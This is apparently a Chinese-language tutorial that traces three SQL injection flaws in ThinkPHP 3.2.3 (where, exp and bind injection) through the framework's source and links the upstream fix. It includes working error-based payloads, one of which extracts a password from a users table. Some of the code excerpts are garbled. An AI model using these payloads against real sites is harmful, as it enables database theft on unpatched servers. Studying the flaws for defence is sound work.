前言
Thinkphp是目前主流的一款php語言框架,但在使用中,也是產(chǎn)生了很多的高危漏洞。本文小編將從Thinkphp3說起,說明一些tp3框架的漏洞產(chǎn)生原理。使廣大愛好者進(jìn)一步深刻的理解框架。
環(huán)境搭建
- 下載源碼
- 編輯器使用了phpstrom
- 配置數(shù)據(jù)庫
- 添加測試數(shù)據(jù)
Thinkphp3.2.3 where注入
- payload
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
- 斷點(diǎn)
分析
- 經(jīng)過htmlspecialchars過濾
- 于442行通過think_filter函數(shù)進(jìn)行過濾
- 經(jīng)過ThinkPHP/Library/Think/Model.class.php:779的find()方法
- 滿足條件則進(jìn)入
- 強(qiáng)制進(jìn)行轉(zhuǎn)換,轉(zhuǎn)換為了int形
- 帶入查詢
- 步驟
id=1' -> I() -> find() -> __parseoptions() ->_parseType()
滿足條件才能進(jìn)去__parseOptions()方法
- 條件
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
- 繞過
index.php?id[where]=3 and 1=1
修復(fù)
Thinkphp 3.2.3 exp注入
- 部署環(huán)境
- payload
http://localhost:8888/tp3/index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
分析
- 進(jìn)入Model.class.php的822行this−>select(this−>select(options)
- 跟進(jìn)select方法
- 跟蹤Driver.class.php中的parseSql方法
- 跟蹤Driver.class.php中的parseWhere方法
- 經(jīng)過whereStr.=whereStr.=this->parseWhereItem(this−>parseKey(this−>parseKey(key), $val)方法,跟蹤進(jìn)去
需要時(shí)數(shù)組才可以進(jìn)去if語句
- 語句exp直接拼接構(gòu)成注入
} elseif ('bind' == $exp) {
// 使用表達(dá)式
$whereStr .= $key . ' = :' . $val[1];
修復(fù)
使用I方法接受會(huì)通過think_filter函數(shù)進(jìn)行過濾
thinkphp 3.2.3 bind注入
- payload
index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
- 環(huán)境部署
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
上文說到除了exp還有bind可以進(jìn)行注入
- 報(bào)錯(cuò)
- 進(jìn)入update方法
- 進(jìn)入到了parseWhereItem方法(bind可以注入)
- 于函數(shù)bindParam進(jìn)行了添加冒號(hào)
- 在Driver.class.php文件execute中進(jìn)行冒號(hào)替換
if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return ''' . $that->escapeString($val) . ''';}, $this->bind));
}
- 如果payload不是0的話
修復(fù)
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4






